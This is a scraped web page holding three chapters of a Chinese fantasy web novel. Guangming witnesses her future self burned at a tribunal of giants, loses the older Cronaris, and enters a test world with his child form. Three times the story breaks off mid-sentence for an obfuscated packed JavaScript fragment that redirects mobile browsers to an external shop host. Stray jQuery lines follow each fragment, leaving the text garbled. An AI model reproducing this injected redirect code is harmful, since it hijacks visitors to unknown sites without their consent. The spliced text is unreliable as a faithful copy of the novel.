闻声,Cronaris不知从哪里拿出来了那本画册,她的各种死状再次出现:被白绸拉断脖子,被火烧,被剥落皮肉……
“我到现在都不知道你是谁,所以我无法唤你的名字。这并不是我不够文明……恰巧是你并不值得我记住。”白皮肤巨人换了话题:“但你已经失去资格了,你蒙昧了你的星球。”
这话好冠冕堂皇,它高高在上,也觉得自己就是高高在上,可以随意裁决,随意给出惩戒。
而“她”终于动了动手,低落的头抬起几分,又重重垂落,这下头更低了。
光明靠近十字架端详着“她”的表情:愚痴、麻木、空洞。
光明看不下去了,这个“她”让光明觉得陌生。她自诩不是什么高尚之徒,但绝不是软弱之辈。她本来是打算要狠狠地给自己翻一个无比圆润的白眼的,但等她再靠近时,也只是把手轻轻地放在了“她”肩上。
如果自己也开始审判自己了,偌大审判庭空寂无比,盈盈满目皆是无心人,那她不知道,自己应该站在何处了。
“烧了她,审判结束。”白皮肤巨人朝红皮肤巨人说。
骤然大火。
死了。
死了?
7. 骗子害人(七)
红色的叶子随风在明火之上翻飞,整个十字架浓烟滚滚,众巨人眯眼垂头观看审判之火,它们撑着脑袋,它们皮肉舒张,它们得意洋洋,神情惬意。
圆桌内火焰风驰,霎时直冲向苍穹,审判庭的屋檐被烧穿了一个大缺口。再燃!浓烟浸染灰紫色的云层,将天空熏成暗暗的黑紫,只留一圈绯红明亮。
气焰的味道蹿满了这个审判场地。
“啊啊啊啊!!!”
黯淡的世界被这一声嘶吼吓醒,烈火爆裂,烧亮了整片天空,白色巨人终于睁开了眼睛,但只一条细细的红色的缝,它的眉毛在火晕下剧烈颤栗。
“我……不服!不服!”
“她”终于出声了,“她”抬起头,但又被什么东西重重摁下,“她”每说一遍“不服”,头就被压得更低,可是“她”还要说,直到骨肉撕裂声响起,脖子撕裂,那无形的手似乎知道这招没用,只好止住。
随之而来的是“她”的肌肤和骨头正在飞速愈合。这一幕落在光明眼中,她心下一惊,深吸一口气。
所以眼前这人真的是她?巨人连异能也一样。
“你们凭什么审判我!你们算什么!看着我啊!看着我啊!浑身长臭毛的恶心玩意!你不是一直都在……”
“她”抬起头怒吼,“她”又突然说不出话了。
“她”被烧得体无完肤,身体渐渐焦化,皮肤片片脱落,神经末梢被迫暴露在滚烫中,直直灼烧每一寸灵魂,喉头水肿,被灼烧着窒息,被烫烂,被火焰穿透,再无法言语。
火光中的“她”不停地嘶吼,“她”被摁在那里,自愈使“她”持续地反反复复地疼痛……隐隐约约地,光明还会听到几声轻吼,但着细微的声音很快又淹没在火海之中。
光明眼睛中流下的血迹早已牢牢地扒在脸颊上,像是泣血了,她就站在“她”的不远处,看着“她”痛苦挣扎,看着她生不如死。
直到火烬灭时,世界顿失明光,光明望着那十字架前的一团虚无才回过神来,只觉得自己似乎也跟着死了一遍。
光明眨了眨不适的眼睛,发现Cronaris站在离自己不远处,也神色复杂地望着十字架,他整个人与刚才并无不同,白头发白皮肤没有受到丁点儿影响,一双被浓红覆盖了的眼睛没有办法流露任何情绪。
不,不是的,光明觉得或许Cronaris只是站着,毫无生气的站着,因为不知道去哪、不知道怎么办于是站着,“她”将他全部的生气带走了,只余下深深的疲惫和绝望。
精神承受不了的哀痛会呈现在身体上,他正在悲栗。
当光明向周围看去时,白皮肤巨人已经闭上了眼睛,但长长眉毛被烧断了一截。
这时世界的颜色也比先前肉眼可见地暗了很多,光明想到了那几盏蜡烛。
她快没有时间了。
光明立马伸手触碰身边看不出表情的Cronaris,但他没有反应——果然不是她要找的那个。
光明准备离开。
“嗯哼~”
“要走了吗?”黄皮肤的巨人说,语调轻佻,像是开玩笑一般。
光明一愣,但脚下的动作没停,她隐隐感觉不妙,提腿就跑。
“什么?谁要走了?”绿皮肤巨人疑惑。
“这里有其他人。”黑皮肤巨人平静地说。
“哗——”
圆桌不知被谁掀翻了。
巨人力气很大,光明根本扶不住桌子,整个人飞了出去,在空中穿行着。空气几乎要将她的皮肤剥离,她以飞快的速度被甩出了审判厅。
她难道又被骗了?
这是光明在天空飞行时闪出的第一个念头,随后思绪被剥离,她以极速落下。
“扑通——”
光明掉进了水里,半清醒半晕眩中她想:我靠我靠还没死,那小孩还挺守信用……
世界又暗了几分。
再次醒来时,光明躺在河水边,半截身子都淌在水里,浑身不知裂了多少道口子,治愈能力加速复原着这具躯体,肌肉复生,身上像爬满了小虫子一样,又开始发抖。
她咬牙支起身子,发现自己回到了最开始的河流,要不是身上的阵阵发颤,她都快怀疑自己是不是还没出发了。
光明如今几乎是连抬头的力气都没有了,那狂舞的火光似乎还在眼前,刚刚发生的一切都太离谱了,她像是个局外人,参与了审判,但又仿佛置身局中,因为她被看见了。
光明叹了口气,摇了摇头,想要把这一切给抛出脑海,可一扭头,脖子咔的响了一声,光明又叹了口气。她心里估摸着现在的时间,斜着眼睛朝水面看去,水面平静地照映出桥上的蜡烛,此时正在烧着第八盏。
光明感叹自己的聪明绝顶,虽然人有点霉,但还是聪明的。
等蜡烛又燃了一截,光明试着起身,支起身子站起,脚底一滑又摔倒进河里,河水打湿了她半身衣料。
再一会,等那阵痛缓过去,光明又起身,打算先离开河水。
光明试图剥离身上的疼痛,这一次她感受到了些不一样的东西——河水平平静静,但在她落水时,并未泛起涟漪。
像沼泽,但没有吸附人的重力,又像空气,她感受不到——平静得像面镜子。
光明恍然大悟,她屏着气息从河水中一点一点地退了出来,身体的自重伴随着密密麻麻的疼痛,让她跌落在石粒地上,又渗透出血色。
不行了不行了。
她实在是疼得不行了,干脆躺在石粒上,一动不动,看着无物无色的天空呼吸,大口呼吸。
爹的,她到底在干什么啊。
“Cronaris,快滚出来,劳资找到你了。”光明说着随手摸了个小石头扔向水面,却听到一声石头撞石头的轻巧声,她现在居然连这点力气都没有了。
光明面色平静,扯了扯嘴角:“真是晦气。”
“七盏灯灭三更天,镜子背面有道桥……”
这句话在光明脑子里回响起,光明咀嚼着。
这死孩子,还真不说一点废话。
“三更天”是蜡烛即将燃尽的时候,或者说当世界昏暗到一定程度就是“三更天”,至于“镜子背面有道桥”,指的正是桥位于镜子的背面,而光明又是从镜面进入的这个世界,恰好,这个世界的镜面就只有水,而且就只有这里的水才最接近桥,所以开篇即谜底啊。
光明吃痛扯了扯嘴角。
……
眼见八盏灯只剩下一盏了,天色昏暗。
光明都快睡着了,劳累之后适合睡觉,补补生命值,她咂咂嘴,血腥味还在,味觉和身上还没完全消弭的痛感不断提醒着她刚刚的苦涩经历。
确实有些命苦,光明被自己的惨淡人生压得有些睡不着了。
她只好清醒地边骂边等着Cronaris。
那鬼东西会不会是从水里突然钻出来,从天上掉下来,或者直接出现在自己身边来吓自己?
结合光明的观察,Cronaris很喜欢出些馊问题,用各种乌七八糟的恶心东西来吓人,但他或许……光明莫名想到了Cronaris在十字架前的表情,但他或许不会伤害自己?
真是奇怪的想法。
而就在这时,男人终于出现了,是突然出现的,在光明闭眼的瞬间。他动作熟练地一把将光明抱起,问道:“怎么受了这么重的伤?”
光明瘪嘴道:“你说呢?”
Cronaris是成人体形态,不过眼眶里不是全红的,而是和进来之前一样,有两颗深黑的瞳仁。不过此刻,他浑身些许透明,光明向上看去,发现Cronaris嘴角扬起温柔的笑意。
“不好意思,弄疼你了,我本来是打算设置成无痛模式的。”
“那你怎么没设?”
“我忘记了。”
靠。
“真他玛德服了你了……”
Cronaris抱着光明走到河流里,光明没力气反抗了,干脆任由他抱着,只是死死盯着他看。
“我赢了。咳……Cronaris,”光明觉得这个名字有点拗口,也不知道取个这么复杂的名字干啥,她顿了顿,“这些场景是真的吗?”
光明又问:“我为什么在这里?”
Cronaris打断她:“姐姐,你问题好多啊,嗯……其实你应该知道的,我已经告诉过你了。”
光明睁大眼睛:“你耍赖是不是?”
Cronaris:“没有,”他没有听出光明的怒气,但还是解释说,“我无法说。”
靠,什么意思?她辛辛苦苦换来一句“没法说”!
Cronaris早有预料,再解释了一嘴:“我确实没法说。”
光明怒骂的话到嘴边突然收住了,她意识到Cronaris的身体愈发透明。
光明猜测多半是那个白胡子搞的鬼。
光明皱着眉说:“你在帮我。原因呢?”她想起这人说话有限制,补充道,“我来到列车与他们有关。”
Cronaris“哼哼”了一声。
光明不满地长叹一口气,她摆着腿,摇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343042|199450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着摇着腿又开始疼,只好停了,翻了个白眼:“你这帮人帮到底啊,我如今还是一头雾水,”她继续询问,“那是以后的我?”
Cronaris不言。
啧,好好好。
她其实并不气愤,最多有些无语,如果氛围到那,她甚至会嘲笑,大笑今天自己傻币的经历。
但她内心突然莫名有些着急。
Cronaris把光明轻放在水“镜”中央,纯白的发丝开始飘动,睫毛颤颤,他伸手想要抱她。
可伸出的手悬了一瞬又立马落下了。
他放弃了,什么也不做,反倒往后推了一步,就这一步,他更加透明,光明几乎能透过他看见他背后的树木枝桠。光明没有再要求Cronaris回答她的问题。
身上大大小小的伤口就算是认栽了。
Cronaris的语气透着失落,低声缓缓道:“还是想抱抱你的。”
光明听着这话很难受,可她不明白原因。她脑海里又忍不住地浮现十字架前Cronaris的表情,她说:“那你为什么不……”
光明无意识脱口而出,又及时止住。她心中涌出一种难以阐明的情绪,那似乎是分别。
可和一个陌生人分别就分别了呗。
Cronaris没回答,也没回应她,只又笑了笑,再说话时,他鼻腔抽气又抿了抿嘴,转而反倒语气洒脱起来:“伤口不用担心哦,出去就会好啦,再见了,光明。”
他的神色低落,语气里也渗透着遗憾,身体也愈发透明。
等等。
光明猛地一下扑上去。
她穿透了他。
她望着Cronaris,Cronaris还带着笑意,光明想要再试一次。
Cronaris见状,终于伸出了手。
在最后一只烛火熄灭时,镜面反转了。
扑了个空。
光明回到了列车里。
光明一眨眼间又回到了列车上,面前一切和她才踏入这节车厢时一模一样,她对着玻璃拍了拍,反着踌躇,难以按捺急躁的情绪:“Cronaris?Cronaris?”
光明有些泄气,找不到Cronaris这件事让她的情绪极不稳定,她还没说完话,也清晰地看见他也并没有做好离开的准备。
可是为什么不再等等呢。
拍打声戛然而止,车厢中只有她稍显急促的呼吸声,光明呆呆地将额头抵在车窗上,朦胧间,她开始整理思绪。
Cronaris是被迫离开的,那毫无疑问是惩罚。他所告知的这些事情是有代价的,消失就是代价?
那个白皮肤巨人……他们到底是什么东西?为什么,Cronaris又为什么能为她做到这样的程度?
还是说一切都是阴谋?就连Cronaris的出现也可能是被安排的。
不是,应该不是这样。
光明立刻止住了这样的想法。
在审判桌上见到Cronaris时,她直觉自己应该是和Cronaris一道的,至少她没有下意识去怀疑他。
光明换了个角度想:那画面究竟是预言还是回忆,Cronaris和“她”相识,Cronaris说他已经回答了自己的问题,那么在数据世界里她看见的只能是未来。
他在给她预警……吗?
毕竟光明十七年虽然落落魄魄,但至少不是如此般腥风血雨、烧了又烧。
光明下一秒瞪大了眼睛:也就是说自己以后会被烧死!我靠!
可是那Cronaris又是如何和她认识的呢?甚至即便知道自己会死也要暴露这些信息。
“Cronaris。”
她“啧”了一声,额头抵在车窗上,无意识地念叨。
突然,“欻”的一下,光明眼前一晃,整个身子轰然倒地。这具身体恢复到之前的状态,摇摇欲坠的,刚刚在镜子里感受到的酣畅掌控感荡然无存。
……
她真的累了。
一边,幼体Cronaris正扒着门框从车窗里出来。
原来刚才是幼体Cronaris跳起来和光明对视了一眼,还撞了下她额头。
“你在干什么呀?”幼体Cronaris从车窗里晃晃悠悠地出来,一屁股坐在了呈“大”字躺地的光明腿上,他好奇地朝四周看了一圈,随后望着一脸惊讶的光明灿然一笑。
“你在干什么呀?”
Cronaris眨眨眼睛:“你很为我着迷吗?”
8. 骗子害人(八)
Cronaris的声音没变,尽管是幼年体,他穿着一层白色丝织物,还是雪白的头发,隐隐露出不见血管的白皮肤,眼睛是一潭黝黑,被车厢中的光印出白色的小月亮,他正嘴角勾起,笑得明媚,朝光明眨了眨眼睛。
光明也跟着他眨眼睛,反应过来后腾起身子,一把捏住了Cronaris的耳朵:“你在装什么?”
被光明扭着耳朵起身的Cronaris瞪大眼睛不解地看着光明,又被她的眼神吓得低头,嗫嚅道:“不是你在念我的名字吗?”
“难道是我的观察出错了?”他抬头,“那你是在讨厌我吗?”
光明放开了对他的酷刑,望着Cronaris黑黝黝的眼睛平静地说:“你不记得了。”
也对,眼前这孩子跳脱的性格和之前的Cronaris判若两人。
光明盯着他好一会儿,才下了结论:先前的Cronaris回不来了。
Cronaris捂着发红的耳朵:“嗯?”他很好奇,“记得什么?”
光明敲了敲他雪白的头顶,没说话。
Cronaris吃痛,抬手捂着脑袋躲开。他的手很凉,就这么戳过来让光明忍不住打了个哆嗦,问道:“你见到我之前在干什么?”
Cronaris听到这句话后瞪大了眼睛,头发炸毛,神色慌张,吞吞吐吐地说:“我……我也不记得了!”
光明静了半晌,坐回到列车座椅上,没再说话。
Cronaris一直跟在她后面,坐在了光明身边。
“你靠这么近干嘛?”
Cronaris甜甜一笑,他眨眨眼睛,很天真地道:“你好暖和。”
光明无奈,虽然她已经勉强接受Cronaris的存在了,而且之前那个Cronaris还很有可能是因为自己所以才回不来了,她虽然没觉得有多么悲伤,但心里多多少少还是有几分歉疚的。
光明把自己身上的外套脱下递给了他,外套上面没有河里的水汽,而是她余留的体温:“拿去。”
Cronaris咧嘴笑着接过后叹了声暖和,光明看他的模样这才反应过来,心里又生出些细思极恐的慌乱,她和Cronaris第一次见时,Cronaris穿得就是这件衣服。
不是撞衫。
所以那是预言,所以她未来真死得那么惨?
这是光明第不知道多少次觉得自己前途黯淡。
她为什么会走到那一步?她是如何走到那一步的?
光明没忍住打了个寒颤,背脊蹿出冷汗,Cronaris扭头问:“你也很冷吗?”他把穿了一半的外套又递回给光明,“那你穿吧。”
光明推了推:“自己穿,多大个人了还不会穿衣服。”
Cronaris挠挠头,又点点头,边穿衣服边说:“我会穿衣服,”他自顾自继续喃喃道,“如果按照人类的算法,那我才出生没多久……那我就是0岁。”
“可是我比人类幼崽高大很多,我也比幼崽有用,他们不会走路还要被人喂食,可我出生就会走路了……我会自己吃饭而且还长得那么漂亮……”
他说着说着“嘻嘻”笑了两声:“而且0岁也不符合我的身份,所以我……我也不知道我几岁,那就干脆不要年龄了,把这个从我的身份信息中删掉吧,可是……人类好像都讲究这个?算啦算了暂时不删吧,嘻嘻。”
Cronaris觉得衣服很暖和,他很开心。
光明第三次打寒噤后,很无奈地把跟了自己好几个月的“老伙计”穿上了,她在车窗上照了照,宽慰自己:还是黑色好看。
她一直都是如此,敝帚自珍,她只需要有一件属于自己的东西就可以了,不需要太多。大概三年前离家出走后,她有的只是一条性命,而到现在,她有了稍微高大了些的身体,天降的异能和一件朋友送的衣服,挺好的了。
所以前路是什么走向,她都不愿意过多探究,她需要的只是照顾好自己,然后走下去。
整理好着装后,光明的心情好了一点,开始在这节列车里晃悠,硬是把金属质感的地面走成了家门口的乡间小径。
她“闲庭漫步”了一会,走向还在不停碎碎念的Cronaris,一手捶在他的头顶,终于止住了那像蝉鸣一样的煞风景的噪音,光明看着Cronaris那张人畜无害的脸,脱口而出:“你接下来有什么打算。”
Cronaris很理所当然地说:“跟着你啊。”
光明啧啧两声,打量起Cronaris来,几秒后,她摇着头说:“不行。”
Cronaris长叹一声:“为什么不行?我很听话的,而且我还有异能,你肯定用得着我啊!”
这下对了,原来这个人还真的有用。
光明摆摆手:“既然如此,看你这幅样子,也是个没工作能力的,好好听姐的话,姐说一你不准说二,姐让你做什么你就做什么,好好跟着,姐带你捡垃圾!”
Cronaris激动起来,笑着点点头:“好!”
光明甚是满意,开始使用起小弟来:“首先,我们要改个名字,你那个啥克罗纳里斯太难念了,咱们取其精华,去其糟粕,叫你‘红红’、‘大小红’以及‘红孩儿’。”
Cronaris傻傻一笑,睁着个大眼睛兴奋地看着光明,美滋滋地接受了这个名字:“好!”
光明对于红红的行为赞赏有加:“可以可以。”
Cronaris:“好!”
……
不知过去了多久,列车还在行驶,光明的脑袋摔在红红的脑袋上睡了一觉,红红又让光明挤着睡了一觉。再一觉醒来时,红红已经躺在她的腿上了。
“叩叩——”
“叩叩——”
光明睁开迷蒙的眼睛,不清楚是上一节还是下一节车厢的通道被打开了,一个身量颀长、面容姣好的女性走了进来,她穿着黑色制服,皮肤也是透黑的,胸前挂了个工作证,但一头深蓝色的头发并没有按要求盘起,而是整整齐齐的及腰长发披散开来,是一个齐刘海造型,她的声线清冽,口齿清楚:“检查车票。”
光明:她好美。
等等呢?
这车居然还有乘务员,那是不是也有驾驶员?
光明应了声,伸手摸了摸她空空如也还破了洞的口袋,随后将手伸进红红的衣兜里,把皱巴巴的票递了过去。
她看见了乘务员工作证上“生生”两个字,很特别的名字,光明稍微感叹了下,问道:“请问我们大概什么时候才到站?”
乘务员生生没看她,冷冷地说:“十五分钟。”
光明点了点头。
上列车前的激动和期望早就被那群长毛巨人给冲淡了,冲没了,光明不知道自己究竟会面临什么,所有的路都显得未知且极富挑战。
她唯一能做的似乎就只有等待命运的到来。
乘务员接过车票后没走,冰冷的黑色瞳孔盯着红红,红红被盯却浑然不觉,依旧玩着长长的衣袖。
生生的声音似乎比她本人更有存在感:“车票。”
红红终于抬头了,他指着自己说:“我吗?”这人在和生生对视后果断转向光明,“光明,你有没有多的车票。”
红
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343043|199450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
红这孩子再知道她的名字之后,每次说话必放在开头。光明无语地摆摆手:“哪有,你不是小孩吗?我记得好像小孩是可以免门票的,”她说,“你站起来让她瞅瞅。”
红红点点头,站了起来。
生生打量一眼,翻了个白眼:“1米4。超高了。”
红红抱手,很无奈地笑了笑:“哎呀,真是没办法,都长这么高了呀。”
下一秒他就被光明一手劈清醒:“笑笑笑,要被赶了还咧着个大牙乐呵。”
生生有些不耐烦:“随……”
光明和红红一齐出声,打断了她的话:
“他坐我腿上。”
“我坐车窗。”
……
“他睡车窗。”
“我坐她腿上。”
生生虽然还是面无表情,但光明很明显地感觉到了对方的无语。紧接着,眼前这人冷冷丢下一句话就作势要离开:“随便。”
“哎,等等。”光明叫住了她。
“干嘛?”
“列车上还有其他人吗?”
生生扫了她一眼,淡淡说:“没有意外的话,应该就你一个。”
这回答还不如不回答,什么叫没有意外?光明瞧了一眼正专注玩她衣服的红红,这个意外是指红红吗?
见生生又要离开,光明立马起身拦住她:“这趟列车通向哪里?”
生生瞥了她一眼,把那张皱巴巴的车票打开,举到光明眼前,语气冰冷地说:“看不懂吗?”
光明盯着她,而不是车票:“看不懂。”
两人沉默着对视。而后生生开口,依旧面无表情:“看不懂就对了。我也不知道。”
光明:“……”
生生推开光明的肩走向另一节列车,光明要跟着过去却被无形的墙壁挡住,这显然也是异能,她蹙眉看着生生走向下一节列车,又径直往前,进入下一节列车,而后车门关闭。
视线里只剩下身前的这节车厢,光明烦躁地用手肘猛捶车厢门,转眼间,身前的门浮现了,可是门仍旧是关闭的状态,她也无法再看到前一节车厢的内部。
“操。”
不知道。为什么又是不知道。
……
大概十五分钟后,贴着车窗的黑雾消散,列车渐渐降落。
光明走到车窗边,从这个高度看去,这个地方和她所居住的城市,甚至是世界都不像,可这又是哪里呢?
列车缓慢下降,一片红透了的叶子飘过,这个世界被叶子割断,简单来说,光明所能看到的范围被划分成了两个极端,一边绿意森森,存在稀疏的建筑群,一边全是黄土,以及遍地木桩。
再远处是一片薄雾,能隐约的看见几座高大的现代建筑,但只是轮廓。
光明走出列车,踏上黄土。
冷风呼啸而过,脑子里又出现熟悉的电流声:
【很荣幸为你服务,测试者资格核验中……】
【属性:自愈】
【往生森林副本开启】
【世界初始命题:自我】
【世界隐匿命题待探索,进度:0】
【文明资格评定:0】
【灵魂完整度:0】
“好冷。”红红皱着鼻子说。
光明抽抽嘴角,把脑子里的噪音忽略掉,又抽了抽鼻子:“走走走,上车上车,这破地方连垃圾也捡不了。”她说着转身,只听“哐”一声,额头撞上了列车门。
然而这哪里还有列车?
光明苦笑,伸手抚上了刚才下车的位置,拍了拍。虽然看不见,却能够摸到实体。
完蛋。
9. 往生森林(一)
光明唤着红红找了半天,还是没能找到列车的入口。
列车将她送到了这个鬼地方,她脑子里还时不时出现奇怪的播报音,无论怎么看,都不符合常理,何况这里还没有垃圾捡,显然更不符合常理了。
黄土地上风沙缓缓吹拂着,不急不缓,眼前是一片枯树林,目之所及的树木枝干都被黄沙染色,只露出树皮裂隙粗大的肌理,一些树身被暴晒,吹拂,都开始蜕皮了。
走上列车等于走上了一条不归路,而这条不归路居然比捡垃圾还要麻烦。如今光明脚踩的地方甚至和之前不是同一个世界,她是真回去不了了。
洪水没把她冲走,她反而自己坐车走了。搞笑。
光明宛如进入了《十万个不知道》,她真的不知道该怎么办了。然后她苦思冥想,悔不当初,她这辈子最后悔的一件事就是当时没爬上审判桌狠狠扇那些巨人,每人一巴掌,不能把手闲着了。
“光明,我们现在该干嘛。”
光明闻声回头,和一脸懵的红红面面相觑,她揉了揉太阳穴,认命般在心里默喊:“喂,脑子里那个,现在怎么个事?”
【资格者,你好。】
光明无奈一笑:“我在这个世界里怎么活?都是资格者了,不会死吧?”
对于光明而言,确实没什么比活着更重要了。
主神系统:【你好,资料传输中……】
【因测试评定,只能向你给出基础资料,你可挥手在界面查看,其余的信息请你自行探索。】
【你是休斯蒂卡,白石帝国的皇储。】
光明:……居然还有角色扮演环节。
【你家坐标已给出,请前往。】
“我该做什么?完成那什么测试就可以回家了吧?”
【您需要探索世界命题。以下是系统库给的文明介绍:】
【如你所知,文明分为物质文明和精神文明。双星璀璨。】
【譬如真理,道德,进化,粮食,科技,建筑,语言等等都是构成世界文明很重要的一部分。】
【我们将这些急需探索的文明元素称之为世界命题,探索这个世界的核心命题,完成核心命题,陈述核心命题,这是你需要做的。】
……
光明大概清楚了,但这个系统没有给出具体的行动指示,并且关于文明的概念对她来说着实稀薄,什么是文明?她唯一知道的便是自己生活的时代属于科技文明时期,那么,科技时代的文明核心命题就是科技吗?
“你能说具体点吗?”光明需要的是一些具体的信息,比如触发世界命题的契机,再比如探索的对象是人还是世界,文明系于人还是世界,她边问边跟着提示往“家”走,摆摆手让红红跟上,红红就迈着碎步一蹦一蹦地跟着她。
光明继续发问:“算了,你直接回答我几个问题。”
“第一,我该怎么着手探索这个世界的命题?你会给出一步一步的指令吗?”
“第二,探索过程会有生命危险吗?这个世界是真实的还是为了测试而制造出来的?”
“第三,我完成这个命题后能不能回去?”
【资格者,你好,世界需探索,一切皆是未知。】
光明等了几秒,再没听到主神系统的回复,她心里缓缓升起疑惑:“嗯?”
这问了跟没问一样。
这番折腾成功地让她心里升起几分焦躁,探索这个命题会耗费多久时间?文明、文明……如果不能探索成功,她会一辈子都出不去吗?
她不会要扮演一个人,以这个人的身份在这个陌生的世界中过一辈子吧?怎么才算成功?
光明想着可能性,步子不自觉地快了些,她继续跟着提示走。
“我陈述命题之后呢?”
【你将获得灵魂碎片。】
对了。光明还记得自己刚登上列车就被说灵魂不完整,但她其实并不觉得自己到底缺了什么,非要说缺了什么……那她真的很缺钱。
“无法完成命题陈述呢?”
一句冷冰冰的话在脑中浮现:【你将被销毁。】
我靠。亏本买卖!
光明心下一紧,但脚步没停,在心里骂骂咧咧,尽给些没人要的玩意儿,她要的是回家,是把她从哪里的就送回哪里去,什么狗屎文明命题,完不成还要把命给搭进去。
虽是这样想,但是光明还是不敢随便违背系统,万一她就死了呢?这可不行。
她逐渐走进树林深处,发现原来这里不止满目黄土,还是有许多树木的,走进这片树林后绿意逐渐盎然,树木的状态比外围好了不少,依稀能看见几只鹿在灌木丛后面欢腾,几缕阳光也投进树荫里,融进冷风中。
系统的话和眼前的画面都给了光明一种极不真实的感觉,自从走上列车,她的人生似乎就没有退路了。像是一条波折的线,无论怎么走,最后通向的都是死亡。
光明想到了Cronaris。
真是罪恶。为什么要叫她知道自己的结局。
“姐姐!我抓住了只兔子!”一道熟悉的男声从远方传来。接着是窸窸窣窣的动静,光明的思绪被打断,隐约听见一道女声。
她闻声快步走了过去。只看见了两道远去的背影,一男一女,男的要稍微矮一些,披着一头黑色的长发,他的背影很熟悉,不过光明一时半会想不起来自己到底在哪里见过他。
光明带着红红鬼鬼祟祟地跟在两人身后。跟着他们走了十几分钟,在一个绿意森森的小岔路口,光明止住脚步,系统面板提醒的方向和两人的方向不一致,光明思忖一瞬,让红红蹲下别动,她往前跃了几步,藏身到树丛中,捡起一颗小石子,朝那男子肩膀弹去。
“嗷!”男子皱着脸,回头朝四周看了看,没发现什么不对劲,很快就笑盈盈地转了回去。
听到身边的女子呵呵一笑,他便不好意思起来:“哎呀姐姐,刚刚好像真有什么东西砸到我了!”
女子笑得温柔,阳光给发梢染了一层明黄,她抬手揉了揉男子的头顶。
男子回头的时候光明闪到了他侧边的灌木丛中,她身手一向灵巧,没让男子发现。
光明心情复杂,眼睛还一动不动地死死盯着他,发现这人就是那天在便利店死去的夜生。
他怎么也在这里?
这片森林中有阳光倾泻,夜生牵着那女士的手,迈着轻快的步伐向前走去,两人欢声笑语,发尾被裹在了暖黄黄的光里。
光明不知道为什么会在这里看见死去的夜生,如果夜生在这里,那是不是望舒和顾森也会在?那么她的到来似乎就合情合理了许多。
最近发生的事情实在太多也太过迥异,光明深吸了一口气。但至少,如今见到一个熟人很好地缓解了她内心的焦躁,这至少表明这两个世界总还算有些关联的。
光明将视线移开,继续跟着系统指示走。
这个地方一眼望去只有树和零零散散的动物,光明一边走一边观察,后知后觉方才的黄沙和此刻的森林景观很是割裂,而这些在森林中的动物在这里很突兀,简单来说就是有一种假感,再说极端一些就是荒谬,像是极地出现鹿,大漠出现美人鱼。
脆弱的生态不会出现如此多还各色各样的动物。
……
再比如在光明左边虎视眈眈的狼,和在她右边豹狼野心的虎……
她只是和系统说了几句话,一眨眼便得到了“左怕狼,右怕虎”的处境。而一边的红红正百无聊赖地吹着额前的碎发,对眼前的危机浑然不觉。
以至于光明停下脚步时,他还在傻乎乎地往前走。
光明不语,抱臂看着他穿过虎和狼对峙的视线。
“咦,”红红终于察觉到不对劲,像小狗担心主人没跟上似地停下脚步回头看她,“光明。你怎么不走?”
光明一笑,他们的出现似乎并没有影响到面前的两大只。
两只毛茸茸一直恶狠狠地盯着对方,其中虎头虎脑的老虎甚至还摆了摆前爪,示意光明离开。
原来它们正在酝酿一场有关这片领地归属权的斗争,哪里有时间理会她。
光明谨慎地离开,默默地留意着它们,等走出了好几里远,她有了新的推测:森林中的动物们比起是原住民,更像是特意被放进来的。他们正在适应新的环境。
光明整理思绪,一直走到这条小径尽头,眼前的一切霍然明朗,一个小木屋正直地摆在眼前,不偏不倚,在简简单单的木屋外还堆放着一堆木头,用不知道什么草盖了个顶来防止下雨打湿。木头堆旁还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343044|199450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
搭了个架子,上面挂着衣服,发出阵阵清甜的香气。很有生活气。
在进屋前,光明让红红在外面等着,他很听话地默默找了颗树,靠着树脚眯眼浅眠。
“吱呀——”
光明推开门进去,随手关门。
唰的一声,一道巴掌裹在风乱糟糟的气流中向她猛地袭来。
光明还来不及骂人就立马侧脸闪过,见那手居然还要扇,她一把握住那人的手腕,转而变成掌,想要劈下,谁知那人力气极大,光明在他面前如同“撼树蚍蜉”,那人很快就挣脱开来。这一招反而让光明没稳住身形,她被迫连连往后退,撞到了那破旧的木门上。
木门发出很刺耳的一声“吱呀”,她吃痛,皱着眉,忍着痛狠戾地盯着眼前的男人,那人便不再靠近了。
“罗威尔,你的异能为何还没被激发!这已经是第五次测验了!五年,五年了!你的异能呢,废物!随便一个人家的小孩都比你这个王储做得好!”他怒目圆睁,浑身气得发抖,“B国的耻辱!”
光明还未搞清楚情况,那人继续说:“还敢躲,这是身为王子应受的惩戒,胆子真是越发大了啊!是不是那天就要逃走,对着那群A国人俯首称臣,恭敬良顺了啊!”
光明诧异,这不是她家吗?这老头怎么回事?
“啪!”
脸上升起火辣辣地痛,她没能躲开这一巴掌,直接被一掌扇飞到地上。脑袋嗡嗡作响,好一会儿,她才反应过来有人将她搂在了怀中。
